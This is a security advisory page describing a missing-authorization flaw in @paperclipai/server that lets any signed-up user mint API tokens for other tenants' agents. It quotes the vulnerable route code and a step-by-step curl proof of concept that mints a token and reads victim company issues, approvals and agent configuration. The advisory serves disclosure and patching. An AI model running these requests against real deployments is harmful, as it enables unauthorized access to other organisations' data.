GHSA-47wq-cj9q-wpmp Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys

Not scored Published

Authenticated users can mint API tokens for agents in other companies due to missing authorization checks, enabling cross-tenant access.

Exploited in the wild
Not known
Login needed
Any signed-in user
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is GHSA-47wq-cj9q-wpmp?

GHSA-47wq-cj9q-wpmp is a missing authorization vulnerability in @paperclipai/server, published on 16 Apr 2026. Any signed-in user can exploit it over the network, with no action from the victim.

Official description

<img width="7007" height="950" alt="01-setup" src="https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e" />

> Isolated paperclip instance running in authenticated mode (default config) > on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post > the 2026.410.0 patch). This advisory was verified on an unmodified build.

Summary

POST /api/agents/:id/keys, GET /api/agents/:id/keys, and DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts lines 2050-2087) only call assertBoard to authorize the caller. They never call assertCompanyAccess and never verify that the caller is a member of the company that owns the target agent.

Any authenticated board user (including a freshly signed-up account with zero company memberships and no instance_admin role) can mint a plaintext pcp_* agent API token for any agent in any company on the instance. The minted token is bound to the victim agent's companyId server-side, so every downstream assertCompanyAccess check on that token authorizes operations inside the victim tenant.

This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover.

Root Cause

server/src/routes/agents.ts, lines 2050-2087:

router.get(&#34;/agents/:id/keys&#34;, async (req, res) =&gt; {
  assertBoard(req);                             // &lt;-- no assertCompanyAccess
  const id = req.params.id as string;
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post(&#34;/agents/:id/keys&#34;, validate(createAgentKeySchema), async (req, res) =&gt; {
  assertBoard(req);                             // &lt;-- no assertCompanyAccess
  const id = req.params.id as string;
  const key = await svc.createApiKey(id, req.body.name);
  ...
  res.status(201).json(key);                    // returns plaintext `token`
});

router.delete(&#34;/agents/:id/keys/:keyId&#34;, async (req, res) =&gt; {
  assertBoard(req);                             // &lt;-- no assertCompanyAccess
  const keyId = req.params.keyId as string;
  const revoked = await svc.revokeKey(keyId);
  ...
});

Compare the handler 12 lines below, router.post(&#34;/agents/:id/wakeup&#34;), which shows the correct pattern: it fetches the agent, then calls assertCompanyAccess(req, agent.companyId). The three /keys handlers above do not even fetch the agent.

The token returned by POST /agents/:id/keys is bound to the victim company in server/src/services/agents.ts, lines 580-609:

createApiKey: async (id: string, name: string) =&gt; {
  const existing = await getById(id);                 // victim agent
  ...
  const token = createToken();
  const keyHash = hashToken(token);
  const created = await db
    .insert(agentApiKeys)
    .values({
      agentId: id,
      companyId: existing.companyId,                  // &lt;-- victim tenant
      name,
      keyHash,
    })
    .returning()
    .then((rows) =&gt; rows[0]);

  return {
    id: created.id,
    name: created.name,
    token,                                            // &lt;-- plaintext returned
    createdAt: created.createdAt,
  };
},

actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer token to actor = { type: &#34;agent&#34;, companyId: existing.companyId }, so every subsequent assertCompanyAccess(req, victim.companyId) check passes.

The exact same assertBoard-only pattern is also present on agent lifecycle handlers in the same file (POST /agents/:id/pause, /resume, /terminate, and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can terminate, delete, or silently pause any agent in any company with the same primitive.

Trigger Conditions

  1. Paperclip running in authenticated mode (the public, multi-user configuration — PAPERCLIP_DEPLOYMENT_MODE=authenticated).
  2. PAPERCLIP_AUTH_DISABLE_SIGN_UP unset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7).
  3. At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected.

No admin role, no invite, no email verification, no CSRF dance. The attacker is an authenticated browser-session user with zero company memberships.

PoC

Verified against a freshly built ghcr.io/paperclipai/paperclip:latest container at commit b649bd4 (2026.411.0-canary.8, which is post the 2026.410.0 import-bypass patch). Full 5-step reproduction:

<img width="5429" height="1448" alt="02-signup" src="https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b" /> > Step 1-2: Mallory signs up via the default /api/auth/sign-up/email flow > (no invite, no verification) and confirms via GET /api/companies that she > is a member of zero companies. She has no tenant access through the normal > authorization path.

# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://&lt;target&gt;:3102/api/auth/sign-up/email \
  -H &#39;Content-Type: application/json&#39; \
  -d &#39;{&#34;email&#34;:&#34;[email protected]&#34;,&#34;password&#34;:&#34;P@ssw0rd456&#34;,&#34;name&#34;:&#34;mallory&#34;}&#39;
# Save the `better-auth.session_token` cookie from Set-Cookie.

# Step 2: confirm zero company membership
curl -s -H &#34;Cookie: $MALLORY_SESSION&#34; http://&lt;target&gt;:3102/api/companies
# -&gt; []

<img width="2891" height="1697" alt="03-exploit" src="https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849" /> > Step 3 — the vulnerability. Mallory POSTs to /api/agents/:id/keys > targeting an agent in Victim Corp (a company she is NOT a member of). The > server returns a plaintext pcp_* token tied to the victim's companyId. > There is no authorization error. assertBoard passed because Mallory is a > board user; assertCompanyAccess was never called.

# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=&lt;any-agent-id-in-another-company&gt;
curl -s -X POST \
  -H &#34;Cookie: $MALLORY_SESSION&#34; \
  -H &#34;Origin: http://&lt;target&gt;:3102&#34; \
  -H &#34;Content-Type: application/json&#34; \
  -d &#39;{&#34;name&#34;:&#34;pwnkit&#34;}&#39; \
  http://&lt;target&gt;:3102/api/agents/$VICTIM_AGENT/keys
# -&gt; 201 { &#34;id&#34;:&#34;...&#34;, &#34;token&#34;:&#34;pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25&#34;, ... }

<img width="2983" height="2009" alt="04-exfil" src="https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b" /> > Step 4-5: Use the stolen token as a Bearer credential. actorMiddleware > resolves it to actor = { type: &#34;agent&#34;, companyId: VICTIM }, so every > downstream assertCompanyAccess gate authorizes reads against Victim Corp. > Mallory can now enumerate the victim's company metadata, issues, approvals, > and agent configuration — none of which she had access to 30 seconds ago.

# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=&lt;victim-company-id&gt;
curl -s -H &#34;Authorization: Bearer $STOLEN&#34; \
  http://&lt;target&gt;:3102/api/companies/$VICTIM_CO
# -&gt; 200 { &#34;id&#34;:&#34;...&#34;, &#34;name&#34;:&#34;Victim Corp&#34;, ... }

curl -s -H &#34;Authorization: Bearer $STOLEN&#34; \
  http://&lt;target&gt;:3102/api/companies/$VICTIM_CO/issues
# -&gt; 200 [ ...every issue in the victim tenant... ]

curl -s -H &#34;Authorization: Bearer $STOLEN&#34; \
  http://&lt;target&gt;:3102/api/companies/$VICTIM_CO/approvals
# -&gt; 200 [ ...every approval in the victim tenant... ]

curl -s -H &#34;Authorization: Bearer $STOLEN&#34; \
  http://&lt;target&gt;:3102/api/agents/$VICTIM_AGENT
# -&gt; 200 { ...full agent config incl. adapter settings... }

Observed outputs (all verified on live instance at time of submission):

  • POST /api/agents/:id/keys → **2

Which versions are affected by GHSA-47wq-cj9q-wpmp?

2 open source packages ship an affected version, including @paperclipai/server.

PackageAffectedFixed in
@paperclipai/server npmAll versions2026.416.0
@paperclipai/server npmAll versions2026.416.0

How do I fix GHSA-47wq-cj9q-wpmp?

Upgrade @paperclipai/server to 2026.416.0 or later.

Upgrade, and check permissions on every request on the server, not only in the interface. More about Missing authorization.

Is GHSA-47wq-cj9q-wpmp being exploited?

There is no known exploitation of GHSA-47wq-cj9q-wpmp in the wild and no public exploit code.

Sources

Is GHSA-47wq-cj9q-wpmp in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free